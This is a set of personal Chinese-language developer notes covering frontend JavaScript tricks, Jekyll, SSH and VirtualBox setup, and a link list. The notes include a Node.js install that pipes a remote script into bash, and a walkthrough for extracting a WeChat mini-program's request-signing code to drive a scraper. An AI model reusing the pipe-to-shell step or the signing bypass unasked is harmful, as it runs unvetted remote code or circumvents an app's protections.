alert('beforeShow');
})
.bind('afterShow', function() {
alert('afterShow');
})
.show(1000, function() {
alert('in show callback');
})
.show();
});
```
----
## 读取GET参数
有些时候对GET参数的处理交给了前端,后端的PHP可以$_GET["parameter"],前端JS咋办呢?
From: http://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters
```
var QueryString = function () {
// This function is anonymous, is executed immediately and
// the return value is assigned to QueryString!
var query_string = {};
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
// If first entry with this name
if (typeof query_string[pair[0]] === "undefined") {
query_string[pair[0]] = decodeURIComponent(pair[1]);
// If second entry with this name
} else if (typeof query_string[pair[0]] === "string") {
var arr = [ query_string[pair[0]],decodeURIComponent(pair[1]) ];
query_string[pair[0]] = arr;
// If third or later entry with this name
} else {
query_string[pair[0]].push(decodeURIComponent(pair[1]));
}
}
return query_string;
}();
```
执行后就可以这么使用:
```
if (typeof(QueryString.parameter)!="undefined") {
alert(QueryString.parameter);//do something with the parameter
}
```
----
## 使用 Github Issue 作为博客评论区
人家大佬的项目:[http://github.com/wzpan/comment.js](http://github.com/wzpan/comment.js),[中文文档](http://www.hahack.com/codes/comment-js/)
如果觉得cloudflare加载速度不佳,可以把所有js打包成一个文件
效果如本博客页面底部评论区所示,为了偷懒就没有为每个md文件单独开issue了,整个blog共用一个issue
----
## history.replaceState修改历史记录
如v2ex按照是否:visited来区分点开过和没点开过的帖子,其实现是url带上#reply回复数量
但如果帖子页面有多种进入方式(自动跳转到页尾、发起了回复等),那么url并不一定与需要的一致
我们可以使用history API来修改历史记录,从而保证带上`#reply回复数量`的url一定被认为访问过;而且自动改回去用户无感知(否则刷新后会打开不一样的页面)
代码如下:
```
<script>
setTimeout( function(){
var oldurl = location.href;
history.replaceState(null, null, '/t/{{topic["id"]}}#reply{{topic["replyCount"]}}');
history.replaceState(null, null, oldurl);
}, 1000);
</script>
```
----
## 记住一个checkbox的状态(用localStorage)
查询是否勾选用`.is(":checked")` , 改变勾选状态用`.prop("checked",true)`
```
<script>
function checkbox_onclick(){
var checked = $("#thecheckbox").is(":checked");
if(checked) localStorage.setItem("status_thecheckbox","1");
else localStorage.setItem("status_thecheckbox","0");
}
</script>
<input type="checkbox" id="thecheckbox" onclick='checkbox_onclick();'>
<script>
var status_thecheckbox = localStorage.getItem("status_thecheckbox");
if(status_thecheckbox!=null && status_thecheckbox=="1") $("#thecheckbox").prop("checked",true);
</script>
```
----
## NodeJS
### 用Docker执行npm
例如安装canvas和gifencoder包:
```
PACKAGES="canvas gifencoder"
docker run --rm --volume="`pwd`:/app" -w /app -it node:10 npm install ${PACKAGES} --registry=https://registry.npm.taobao.org
```
----
## 使用InstantClick踩坑
### 快速使用
http://instantclick.io/v3.1.0/instantclick.min.js
一定要在页面底部 `</body>`之前才能引入:
```
<script src="instantclick.min.js" data-no-instant></script>
<script data-no-instant>InstantClick.init('mousedown');</script>
```
### 被预加载的页面不能让后端返回302
否则会显示跳转之前的URL
这种情况下可以对这个链接禁止预加载(不过更应该考虑这种链接改为post请求) 在a标签加上`data-no-instant`
### 注意默认配置下后端将被频繁请求 频率限制需要放宽
[官网](http://instantclick.io/download)给出的代码使用`InstantClick.init()`,意味着鼠标移动上去就会触发加载(不是只触发一次),鼠标反复移动会导致大量的请求
如果后端做了请求频率限制 需要放宽限制
还是改为用`mousedown`来初始化 只有用户确实点击了才开始加载 据说也能有很好的效果
### InstantClick引入一些副作用 对页面js要进行修改
#### js无法取得正确的referrer
页面加载的请求是js执行的 document.referrer不会被设置为上一页
#### document.addEventListener 重复触发
例如绑定paste事件 你可能这么写:
```
document.addEventListener('paste', handlepaste);
```
在切换页面后 这个事件会多次绑定 导致多次触发
我的做法是先判断一个变量是否存在 不存在才设置:
```
if(typeof paste_registered == "undefined"){
document.addEventListener('paste', handlepaste);
paste_registered = true;
}
```
你也可以把这一部分**不能重复执行**的代码放入`<script data-no-instant>`中,但如果前一页没有这一块代码(也就是这个代码是当前页面才有的,需要执行一次),进入当前页面是**不会触发**的
#### 返回上一页重复执行页面添加元素的js 导致元素重复出现
现在的方法是对js动态添加的元素加个class 然后用jQuery的remove方法先通通删掉再添加
#### 页面ready事件不会触发
需要加入`InstantClick.on('change', callback);` 加到Init后即可
但是似乎这个事件触发在页面图片加载完成之前Orz 不够完美
### 超链接的#hash定位功能也需要自己实现
预加载的页面总是定位到顶部,忽视地址栏中的`#end`这种定位hash
我的做法是这样写上述onchange的callback函数`implement_hashjump`:
```
function has_hashjump(){ // if there is a #hash present for jumpping, return true
var hash = document.location.hash.replace("#","");
if(!hash) return false;
if(document.getElementById(hash) || document.getElementsByName(hash).length>0) return true;
else return false;
}
function implement_hashjump() {
if ( has_hashjump() ) {
var hash = document.location.hash.replace("#","");
if(document.getElementById(hash)) {
document.documentElement.scrollTop = $("#"+hash).offset().top;
}
else{
document.documentElement.scrollTop = $("[name='"+hash+"']").offset().top;
}
}
}
```
----
## 用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript
https://www.sitepoint.com/dom-manipulation-vanilla-javascript-no-jquery/
### 选择元素
```
const myElement = document.querySelector('#foo > div.bar')
myElement.matches('div.bar') === true
```
注意querySelector是立即执行 而getElementsByTagName是取值的时候执行效率更高
对元素列表遍历应该这么写:
```
[].forEach.call(myElements, doSomethingWithEachElement)
```
`myElement.children`,`myElement.firstElementChild` 只会有tag,而`myElement.childNodes`,`myElement.firstChild`会有文本节点
如:`myElement.firstChild.nodeType === 3 // this would be a text node`
### 修改class和属性
```
myElement.classList.add('foo')
myElement.classList.remove('bar')
myElement.classList.toggle('baz')
// Set multiple properties using Object.assign()
Object.assign(myElement, {
value: 'foo',
id: 'bar'
})
// Remove an attribute
myElement.value = null
```
除了直接赋值,还有这些方法` .getAttibute(), .setAttribute() and .removeAttribute()` 但他们会直接修改HTML 导致重绘 只有没有对应属性的时候如`colspan`才应该这么干
### 修改CSS
```
myElement.style.marginLeft = '2em'
//获得计算出来的CSS属性
getComputedStyle(myElement).getPropertyValue('margin-left')
```
### 修改DOM
```
const myNewElement = document.createElement('div')
const myNewTextNode = document.createTextNode('some text')
// Append element1 as the last child of element2
element1.appendChild(element2)
// Insert element2 as child of element 1, right before element3
element1.insertBefore(element2, element3)
// Create a clone
const myElementClone = myElement.cloneNode()
myParentElement.appendChild(myElementClone)
// 删除一个节点
myElement.parentNode.removeChild(myElement)
```
当需要把多个元素appendChild到一个已经在页面上的元素时,每次append都会重绘 这时候就应该用`DocumentFragment`
```
const fragment = document.createDocumentFragment()
fragment.appendChild(text)
fragment.appendChild(hr)
myElement.appendChild(fragment)
```
### 监听事件
事件event里面有`target`指向谁触发的事件
```
const myForm = document.forms[0]
const myInputElements = myForm.querySelectorAll('input')
Array.from(myInputElements).forEach(el => {
el.addEventListener('change', function (event) {
console.log(event.target.value)
})
})
```
### 阻止默认行为
`.preventDefault()`
`.stopPropagation()` 子节点click不会再冒泡触发父节点onclick
## Event delegation
对表单每个input修改时执行,直接对form添加change的事件 不需要对每个input添加,这样也自动支持动态新添加的input
```
myForm.addEventListener('change', function (event) {
const target = event.target
if (target.matches('input')) {
console.log(target.value)
}
})
```
### 动画
需要高性能时 不要用setTimeout 而使用`requestAnimationFrame`
```
const start = window.performance.now()
const duration = 2000
window.requestAnimationFrame(function fadeIn (now)) {
const progress = now - start
myElement.style.opacity = progress / duration
if (progress < duration) {
window.requestAnimationFrame(fadeIn)
}
}
```
----
## 劫持动态图片加载 修改src属性
React网站应用底层用的是createElement方法(svg等对象用createElementNS),可以通过劫持document所属类原型的createElement方法来实现图片路径重定向
但是没有考虑使用innerHTML直接赋值的操作,如果目标站点确实用了这种技术,大不了再加个定时器遍历即可
```
var dc = HTMLDocument.prototype.createElement;
HTMLDocument.prototype.createElement = function (tag, options) {
var r = dc.call(document, tag, options);
if(tag=="img"||tag=='a') {
var x=r.setAttribute;
r.setAttribute=function(a,b){
if(a=="src"||a=="href"){
if(b[0]=="/") b=b.replace("/", window.ROOT);
else{
b = b.replace("http://","/web/0/http/0/");
b = b.replace("https://","/web/0/https/0/");
}
}
return x.call(r,a,b);
}
}
return r;
}
```
上述代码会将/开头的src和href属性的第一个/替换为window.ROOT
## 劫持Ajax和fetch
需要将fetch使用xhr实现,然后Hook Ajax即可
参见完整的RVPN劫持代码 [jshook_preload.js](code/jshook_preload.js)
背景知识参见:RVPN网页版介绍 https://www.cc98.org/topic/4816921/
----
## 多个Ajax请求等待全部完成
方法就是把jQuery的ajax函数返回值放到数组里面,然后用`$.when.apply(null, 数组).done`即可
实例:CC98发米机
```
function apiget(url, callback){
return $.get("/98api_cache/"+url, null, callback, "json");
}
var async_request=[check_permission(topic.boardId)];
var i;
for(i=from_; i>=from_-80;i-=20){
if(i<0) break;
async_request.push(apiget("Topic/"+topicid+"/post?from="+i+"&size=20", function(data){
lastfloors.push.apply(lastfloors,data);
}))
}
$.when.apply(null, async_request).done( function(){ alert("all done")} )
```
## 等待图片加载完成后 缩小过大的图片
首先等待DOM节点就绪,找到所有的img,等待图片加载完成后判断图片高度是否大于窗口高度的80%,如果太长就设置`max-width:80vh`,可点击展开,再次点击则折叠并跳至图片开始的地方
```
!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){var b="waitForImages",c=function(a){return a.srcset&&a.sizes}(new Image);a.waitForImages={hasImageProperties:["backgroundImage","listStyleImage","borderImage","borderCornerImage","cursor"],hasImageAttributes:["srcset"]},a.expr.pseudos["has-src"]=function(b){return a(b).is('img[src][src!=""]')},a.expr.pseudos.uncached=function(b){return!!a(b).is(":has-src")&&!b.complete},a.fn.waitForImages=function(){var d,e,f,g=0,h=0,i=a.Deferred(),j=this,k=[],l=a.waitForImages.hasImageProperties||[],m=a.waitForImages.hasImageAttributes||[],n=/url\(\s*(['"]?)(.*?)\1\s*\)/g;if(a.isPlainObject(arguments[0])?(f=arguments[0].waitForAll,e=arguments[0].each,d=arguments[0].finished):1===arguments.length&&"boolean"===a.type(arguments[0])?f=arguments[0]:(d=arguments[0],e=arguments[1],f=arguments[2]),d=d||a.noop,e=e||a.noop,f=!!f,!a.isFunction(d)||!a.isFunction(e))throw new TypeError("An invalid callback was supplied.");return this.each(function(){var b=a(this);f?b.find("*").addBack().each(function(){var b=a(this);b.is("img:has-src")&&!b.is("[srcset]")&&k.push({src:b.attr("src"),element:b[0]}),a.each(l,function(a,c){var d,e=b.css(c);if(!e)return!0;for(;d=n.exec(e);)k.push({src:d[2],element:b[0]})}),a.each(m,function(a,c){var d=b.attr(c);return!d||void k.push({src:b.attr("src"),srcset:b.attr("srcset"),element:b[0]})})}):b.find("img:has-src").each(function(){k.push({src:this.src,element:this})})}),g=k.length,h=0,0===g&&(d.call(j),i.resolveWith(j)),a.each(k,function(f,k){var l=new Image,m="load."+b+" error."+b;a(l).one(m,function b(c){var f=[h,g,"load"==c.type];if(h++,e.apply(k.element,f),i.notifyWith(k.element,f),a(this).off(m,b),h==g)return d.call(j[0]),i.resolveWith(j[0]),!1}),c&&k.srcset&&(l.srcset=k.srcset,l.sizes=k.sizes),l.src=k.src}),i.promise()}});
$(function(){$("img").waitForImages(function(){
( $("img").filter(function(){return $(this).height()>document.documentElement.clientHeight * 0.8}) )
.css("max-height","80vh")
.css("cursor","pointer")
.on("click", function(){
if($(this).css("max-height")!="100%"){
$(this).css("max-height","100%");
}else {
$(this).css("max-height","80vh");
$("html,body").animate({scrollTop:$(this).position().top},"fast")
}
});
})});
```
----
## CSS inline模糊预览图片
参考: https://css-tricks.com/the-blur-up-technique-for-loading-background-images/
使用一张很大的图片作为背景的时候,可能需要一张inline到css中的模糊背景图,完整方案参见上述链接
这里介绍从一张图片怎么变成模糊预览的inline CSS:
1. 首先把图片变成40x22大小,这个直接用Windows自带的画图工具即可完成
2. 然后丢给[tinyjpg.com](https://tinyjpg.com/)再压缩一下
3. 用`base64 -w0 < x.jpg`获取图片的base64文本
4. 放入下述svg中,再交给这个svg encoder: https://codepen.io/yoksel/details/JDqvs/
```
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="1500" height="823"
viewBox="0 0 1500 823">
<filter id="blur" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
<feGaussianBlur stdDeviation="20 20" edgeMode="duplicate" />
<feComponentTransfer>
<feFuncA type="discrete" tableValues="1 1" />
</feComponentTransfer>
</filter>
<image filter="url(#blur)"
xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJ ...[truncated]..."
x="0" y="0"
height="100%" width="100%"/>
</svg>
```
注意encoder输出的内容还要加上`charset`,最终效果:
```
background-image: url(data:image/svg+xml;charset=utf-8,%3Csvg...);
```
## a链接改用POST请求 jQuery
参考OneIndex,用POST方法表示来自文件列表的点击可以显示网页,默认的GET请求则下载文件
```
$('.file a').each(function(){
$(this).on('click', function () {
var form = $('<form target=_blank method=post></form>').attr('action', $(this).attr('href')).get(0);
$(document.body).append(form);
form.submit();
$(form).remove();
return false;
});
});
```
## 创建一个文件下载 Blob
参考OneIndex的`downall`方法
Blob文档:https://developer.mozilla.org/zh-CN/docs/Web/API/Blob
还可以看看这篇:https://juejin.im/post/59e35d0e6fb9a045030f1f35
```
let blob = new Blob(["文档内容"], {
type: 'text/plain'
}); // 构造Blob对象
let a = document.createElement('a'); // 伪造一个a对象
a.href = window.URL.createObjectURL(blob); // 构造href属性为Blob对象生成的链接
a.download = "666.txt"; // 文件名称,你可以根据你的需要构造
a.click() // 模拟点击
a.remove();
```
## 爬取微信小程序 朵朵校友圈
1. 在分身空间中安装微信,使用HttpCanary抓到wxapkg的url
2. 用[https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py](https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py) 这个工具对小程序解包
3. 搜索`duo_session`关键词,找到对应的util.js的addSign,用chrome开发人员工具格式化代码
4. 看了看整段代码 挺复杂的,懒得用python改写,就保留原样js使用nodejs调用吧
5. burpsuite验证确实可行
假设你已经有了addSign方法 那么就提供个http服务给python爬虫调用吧:
```
var http = require("http");
function start(port) {
function onRequest(request, response) {
var postData = "";
request.setEncoding("utf8");
request.addListener("data", function(postDataChunk) {
postData += postDataChunk;
});
request.addListener("end", function() {
//console.log(postData);
console.log("["+new Date().toLocaleString()+"]", request.connection.remoteAddress);
var data = JSON.parse(postData);
addSign(data)
response.writeHead(200, {"Content-Type": "text/html"});
response.write(JSON.stringify(data));
response.end();
});
}
http.createServer(onRequest).listen(port);
console.log("Server has started.");
}
start(8888);
```
## 保持特定元素相对于窗口的位置不变
考虑这样一个场景:一个列表,每一项都可以点击来展开详情div,点击时同时隐藏其他的详情(同一时刻只显示一个)
发现一个bug:特定情况下(不明原因),用户点击后页面位置发生了变化:前面的一个比较长的div隐藏后,当前的位置跳到了很下面的地方,需要手动翻回去,用户体验极差
总而言之,进行一些页面DOM操作后,我们想保持特定元素**相对于窗口的位置**不变
解决方案:在处理点击event时,先记录event.target相对于window的top位置,在详情div隐藏以及显示后再次记录top位置,这两个位置之间的差值就是需要滚动页面的多少
当这个差值很小的时候,可以理解为允许的误差,实际没有可见的变化 无需操作
```
HTML:
onclick="handle_click(event)"
JS:
function fix_position(et, oldt){
var newt = et.getBoundingClientRect().top;
if(Math.abs(oldt-newt)<2) return;
$(window).scrollTop($(window).scrollTop()+newt-oldt);
}
function handle_click(event){
var et = event.target;
var oldt = et.getBoundingClientRect().top;
//...code for hide and show divs...
fix_position(et, oldt); //also include this line to callback function if using ajax
}
```
## Tampermonkey自动填充用户名密码表单,并通过前端的表单检查
感谢[@CoolSpring](https://github.com/CoolSpring8)的解决方案: https://v2ex.com/t/701749
现代化的前端做了表单检查,直接对input赋值不能通过检查,需要调用被重载的setter函数:
```js
function mytype(input, value){
var nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set;
nativeInputValueSetter.call(input, value);
input.dispatchEvent(new Event('input', {bubbles: true}));
}
```
用法:
```
mytype(document.querySelectorAll("input")[0], USERNAME);
mytype(document.querySelectorAll("input")[1], PASSWORD);
```
## 使用browserify将npm包打包成浏览器能用的js文件
浏览器不支持require,怎么在浏览器里使用一个npm包呢? [browserify](http://browserify.org/)
示例:我想在tampermonkey里使用[user-event](https://github.com/testing-library/user-event)这个npm包,
用来完整地模拟用户的交互,这个其实是上一个问题的笨重版本的解决方案
```
# 先安装目标库、browserify和terser
cnpm install @testing-library/user-event @testing-library/dom --save-dev
cnpm i -g browserify terser
# 写一个main.js导入这个库,导出到window里
var userEvent = require('@testing-library/user-event');
window.userEvent = userEvent.default;
# 执行打包
browserify main.js | terser --compress --mangle > bundle.js
# 在tampermonkey里使用
// @require 上传到cdn后的js地址
userEvent.type(document.querySelectorAll("input")[0], USERNAME);
```
## Ubuntu安装nodejs
```
curl -fsSL https://deb.nodesource.com/setup_16.x | bash -
curl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | gpg --dearmor | tee /usr/share/keyrings/yarnkey.gpg >/dev/null
echo "deb [signed-by=/usr/share/keyrings/yarnkey.gpg] https://dl.yarnpkg.com/debian stable main" | tee /etc/apt/sources.list.d/yarn.list
apt update && apt install -y nodejs yarn
yarn config set registry https://registry.npm.taobao.org -g
yarn config set disturl https://npm.taobao.org/dist -g
yarn config set electron_mirror https://npm.taobao.org/mirrors/electron/ -g
yarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g
yarn config set phantomjs_cdnurl https://npm.taobao.org/mirrors/phantomjs/ -g
yarn config set chromedriver_cdnurl https://cdn.npm.taobao.org/dist/chromedriver -g
yarn config set operadriver_cdnurl https://cdn.npm.taobao.org/dist/operadriver -g
yarn config set fse_binary_host_mirror https://npm.taobao.org/mirrors/fsevents -g
```
================================================
FILE: Jekyll.md
================================================
# Jekyll
目前本站使用 `Github Pages`,~~采用`Jekyll`转换md为html~~,所以有必要记录一下折腾Jekyll的过程咯
更新:目前已经不再使用Jekyll,改用mkdocs
## 碰到过的坑
1. jekyll 不认 gbk 编码,在转换前需要先将 md 文件编码改为UTF-8
1. 本地编译通过了,但Github就是不认,于是干脆把编译好的html作为Github Pages
1. 转换的时候遇到两个大括号之间的东西会自动用Liquid渲染,导致有一条Docker的笔记就丢了东西并抛出了Warning,之前本着不折腾的原则(就是懒),直接写了个compile.sh在jekyll编译过后用py替换了一下(真不优雅23333);现在发现了解决方案,参见[本页md文件](Jekyll.md)
## 配置代码高亮并显示行号
代码:
```liquid
{% highlight java linenos %}
public class HelloWorld {
public static void main(String args[]) {
System.out.println("Hello World!");
}
}
{% endhighlight %}
```
效果如下:(由于现在已经不再使用Jekyll,所以看不出了23333)
{% highlight java linenos %}
public class HelloWorld {
public static void main(String args[]) {
System.out.println("Hello World!");
}
}
{% endhighlight %}
## 解决Github Metadata Warning
>* 参见http://mycyberuniverse.com/web/fixing-jekyll-github-metadata-warning.html
在执行build或serve时,会给出这样的Warning:
```
GitHub Metadata: No GitHub API authentication could be found. Some fields may be missing or have incorrect data.
```
解决方法详细版请见上述链接,简要版:在Github的设置中得到一个能访问公开repo的token,用以下命令配置环境变量,其中abc123改为自己的token
```bash
export JEKYLL_GITHUB_TOKEN='abc123'
```
## 解决Markdown有序列表被文字间隔的问题
参考: http://stackoverflow.com/questions/18088955/markdown-continue-numbered-list
在写3. 之前加入相应的编号控制:
```
{:start="3"}
```
----
# 安装Jekyll
搜索jekyll发现官网[https://jekyllrb.com/](https://jekyllrb.com/)
安装过程一点都不简单, 我的系统环境:ubuntu16.04 on win10
安装命令参考官网及[国内镜像 Ruby China](https://gems.ruby-china.org/),还踩了[坑1](https://stackoverflow.com/questions/4304438/gem-install-failed-to-build-gem-native-extension-cant-find-header-files), [坑2](https://github.com/flapjack/omnibus-flapjack/issues/72)
```
apt install -y ruby ruby-dev zlib1g-dev nodejs # 其中zlib是安装依赖nokogiri(这个依赖编译特别慢)所必须的,其中nodejs是需要的javascript运行环境
gem update --system # 这里请翻墙一下
gem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/
gem install jekyll bundler
# 配置github-pages所需的Gemfile,也使用国内镜像源
echo """source 'https://gems.ruby-china.org'
gem 'github-pages', group: :jekyll_plugins""">Gemfile
bundle install # 耐心等待编译
```
================================================
FILE: Links.md
================================================
# Links Share
分享一些hacker相关的链接, 包含开发、安全、CTF
觉得没事干? 不如来逛逛这些地方吧:
## 开发类
[Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books-zh.md#web%E6%9C%8D%E5%8A%A1%E5%99%A8) -- github.com/vhf/free-programming-books -- 编程相关的书籍
[码农翻身微信文章](https://mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw) -- mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw
[V2EX](https://www.v2ex.com/) -- www.v2ex.com
[推酷](http://www.tuicool.com/) -- tuicool.com
[掘金](https://juejin.im/) -- juejin.im
[PAT](https://www.patest.cn/contests) -- patest.cn -- 类似的还有[ZOJ](http://acm.zju.edu.cn), Leetcode等
## 安全技能
[知道创宇研发技能表](http://blog.knownsec.com/Knownsec_RD_Checklist/) -- blog.knownsec.com
[i春秋](https://www.ichunqiu.com/) -- ichunqiu.com
[合天](http://www.hetianlab.com/) -- hetianlab.com
[实验楼](https://www.shiyanlou.com/) -- shiyanlou.com
[乌云漏洞库镜像](http://www.loner.fm/bugs/) -- loner.fm
[pwnhub](https://pwnhub.cn/index) -- pwnhub.cn
[pwnable](http://pwnable.kr/) -- pwnable.kr
[Jarvis OJ](https://www.jarvisoj.com/) -- jarvisoj.com
[dnsbllookup](http://dnsbllookup.com/) -- dnsbllookup.com 查询ip是否在黑名单中 其中有两个已经域名过期总是返回Listed
## 安全资讯
[FreeBuf](http://www.freebuf.com/) -- www.freebuf.com
[安全客](http://bobao.360.cn/) -- bobao.360.cn
[bugs.chromium.org](https://bugs.chromium.org)
## 个人博客
按字母顺序排序
[Aploium Blog](https://z.codes/) -- z.codes
[Aqua's Blog](http://aqua.hk.cn/) -- aqua.hk.cn
[ByStudent](http://www.bystudent.com/) -- bystudent.com
[火日小站](http://www.firesun.me/) -- www.firesun.me
[free to play - Kira](http://www.lovekira.cn/) -- lovekira.cn
[Jarvis's Blog](https://www.jarviswang.me/) -- jarviswang.me
[LeadroyaL's website](http://www.leadroyal.cn/) -- www.leadroyal.cn
[Melody有奥妙](https://www.melodia.pw/) -- melodia.pw
[notebook](https://py3.io) -- py3.io
[qsboy.com](http://www.qsboy.com/) -- qsboy.com
[樱桃园](https://sakura.moe/) -- sakura.moe
[Swing'Blog](http://bestwing.me/) -- bestwing.me -- 努力是为了 站在万人中央 成为别人的光
[信鑫-King's Blog](https://www.ycjcl.cc/) -- ycjcl.cc
[850's Blog](https://850.world) -- 850.world
## ZJU
[浙江大学课程攻略共享计划](https://github.com/QSCTech/zju-icicles) -- github.com/QSCTech/zju-icicles
[NexusHD](http://www.nexushd.org) -- nexushd.org -- 内网pt站点,高清资源
[CC98](https://www.cc98.org) -- cc98.org -- cc98是支持https的噢
[浙大云盘](https://pan.zju.edu.cn) -- pan.zju.edu.cn
[求是潮Box](https://box.zjuqsc.com/) -- box.zjuqsc.com
[教务网内网网址](http://10.202.78.12) -- 10.202.78.12
[教务网的反向代理](https://jw.zjuqsc.com) -- jw.zjuqsc.com
[开源镜像站](http://mirrors.zju.edu.cn/) -- mirrors.zju.edu.cn
[竺院学生会.学习资料](https://ckcsu.com/studyfiles) -- ckcsu.com
[校招薪水](http://www.ioffershow.com/index/) -- ioffershow.com
## 服务提供商
[香港VPS](http://www.diyvm.com/) -- diyvm.com
[腾讯云学生优惠](https://www.qcloud.com/act/campus) -- qcloud.com
[短信验证码 阿里大于](https://www.alidayu.com/) -- alidayu.com
[私有代码托管](https://coding.net/) -- coding.net -- 访问速度优于github
## 非技术文章
[如何准备技术简历](https://dudu.zhihu.com/story/9287423)
[技术面试指南](http://open.leancloud.cn/tech-interview-guide.html)
[“他山之石,可以攻玉”——你的大学,怎样过?](http://jinxuliang.com/blog/Article/Read/a9ec9d6d-5fa8-4c17-bb14-16363714e11a)
[“带着手机上自习,八小时做一道题”](https://mp.weixin.qq.com/s?__biz=MjM5NTU0MTAzNQ==&mid=206164343&idx=3&sn=ff699c7d7f9d1609d387581abec745ae&scene=5)
----
## 结语
>代码不能当饭吃,代码不能当水喝,代码也不能给谁生孩子。
================================================
FILE: Linux-SSH.md
================================================
# SSH
## 客户端不同服务器使用不同的id_rsa
修改`.ssh/config`:
```
Host myshortname realname.example.com
HostName realname.example.com
IdentityFile ~/.ssh/realname_rsa # private key for realname
User remoteusername
Host aliyun
HostName 1.2.3.4
IdentityFile ~/.ssh/realname2_rsa
Port 10022
User root
```
然后就能ssh aliyun这样访问1.2.3.4:10022的ssh了,不用修改/etc/hosts
## 换个端口开启一个临时的sshd
```
which sshd
/usr/sbin/sshd -oPort=2333
```
## ssh反向代理
参见:http://www.tuicool.com/articles/UVRNfi
将本机的22端口转发至外网服务器的2222端口:
```
ssh -b 0.0.0.0 -L 2222:127.0.0.1:22 user@ip
```
注意在运行前需要设置免密码登录以及修改外网服务器的sshd_config,加入GatewayPorts yes
----
## 启用SSH密钥登录后两步验证
效果:不允许密码登录,使用密钥登录后,需要输入手机Google Authenticator显示的动态验证码
注意在确定两步登录能成功之前,保持一个SSH连接以免配置出错无法再控制服务器
第零步,确保自己知道root密码还能物理登录服务器
第一步,安装Google Authenticator这个包
```
apt-get install -y libpam-google-authenticator
```
第二步,修改/etc/pam.d/sshd
在顶部(在@include common-auth之前)添加这一行:
```
auth sufficient pam_google_authenticator.so
```
第三步,修改/etc/ssh/sshd_config
不存在则添加,存在但不同就修改,顺序无关
```
PubkeyAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
ChallengeResponseAuthentication yes
PasswordAuthentication no
UsePAM yes
```
第四步,创建一个密钥
```
google-authenticator
```
对问题均回答y或者自行决定咯~
第五步,重启服务以生效
service ssh restart
注意它的提问,Verification code问的才是验证码,Password问的是账号密码
----
## ssh登录禁用默认的信息显示 Ubuntu
Ubuntu 默认登录后会显示Welcome to Ubuntu等多少软件包可以升级信息,这些信息并不是很重要,却会拖慢ssh登录的速度
禁用方法如下:From: https://ubuntuforums.org/showthread.php?t=1449020
编辑这两个文件:`/etc/pam.d/login`, `/etc/pam.d/sshd`,找到其中包含`pam_motd`的行,注释掉之后 `service ssh reload`
以后再登录ssh就不用等待了
## ssh config里直接指定端口转发
参考: https://www.ssh.com/academy/ssh/tunneling/example
### 在本地访问远程
```
LocalForward 5901 computer.myHost.edu:5901
```
等价于`-L 5901:computer.myHost.edu:5901`,将远程的5901端口映射到本地
### 在远程访问本地
```
RemoteForward 1234 127.0.0.1:3421
```
这样等价于`-R 1234:127.0.0.1:3421`,让远程服务器可以通过访问127.0.0.1:1234来访问到客户端的3421
如果需要允许这个转发的1234端口对外提供访问,还需要修改服务器的sshd_config,设置`GatewayPorts yes`
## 普通用户启动第二个sshd
参考:
- https://serverfault.com/questions/344295/is-it-possible-to-run-sshd-as-a-normal-user
- https://serverfault.com/questions/471327/how-to-change-a-ssh-host-key
以下使用`~/.ssh`文件夹存放Host key
```
mkdir ~/.ssh -p
ssh-keygen -q -N "" -t dsa -f ~/.ssh/ssh_host_dsa_key
ssh-keygen -q -N "" -t rsa -b 4096 -f ~/.ssh/ssh_host_rsa_key
ssh-keygen -q -N "" -t ecdsa -f ~/.ssh/ssh_host_ecdsa_key
ssh-keygen -q -N "" -t ed25519 -f ~/.ssh/ssh_host_ed25519_key
cp /etc/ssh/sshd_config ~/.ssh/
```
编辑~/.ssh/sshd_config文件,修改这些项目:
- UsePrivilegeSeparation no
- UsePAM no
- HostKey ~/.ssh/ssh_host_rsa_key <-需要替换为绝对路径
- Port 2222
- PasswordAuthentication no
然后启动sshd进程:(如果登录不了加上-d看调试信息)
```
/usr/sbin/sshd -f ~/.ssh/sshd_config
```
登录的时候需要使用ssh key登录,因为sshd并不能读取/etc/shadow
================================================
FILE: Linux-VirtualBox.md
================================================
# VirtualBox
> 参考 https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-ubuntu-16.04-lts-server/
在linux终端下使用VBoxManage和VBoxHeadless创建、启动、控制一个Ubuntu14.04 64Bit的虚拟机
## 下载
http://www.virtualbox.org/wiki/Downloads
从官网找到对应的rpm或deb下载即可
> rpm文件的安装:
> rpm -ivh something.rpm
> deb文件的安装
> dpkg -i something.rpm
执行`dpkg -i`后需要执行`apt-get -f install`以安装缺失的依赖包
## 一定要安装额外包
```
cd /tmp
wget http://download.virtualbox.org/virtualbox/5.1.16/Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack
sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack
```
## 创建虚拟机,设置虚拟机选项
```
mkdir -p /home/virtualbox
VBoxManage createvm --name ubuntu --ostype "Ubuntu_64" --register --basefolder /home/virtualbox/
VBoxManage createvdi --filename ubuntu/ubuntu.vdi --size 102400 # 100GB
VBoxManage storagectl ubuntu --name storage_controller_1 --add ide
VBoxManage storageattach ubuntu --storagectl storage_controller_1 \
--type hdd --port 0 --device 0 --medium ubuntu/ubuntu.vdi
VBoxManage storageattach ubuntu --storagectl storage_controller_1 \
--type dvddrive --port 1 --device 0 --medium ubuntu-14.04.4-server-amd64.iso
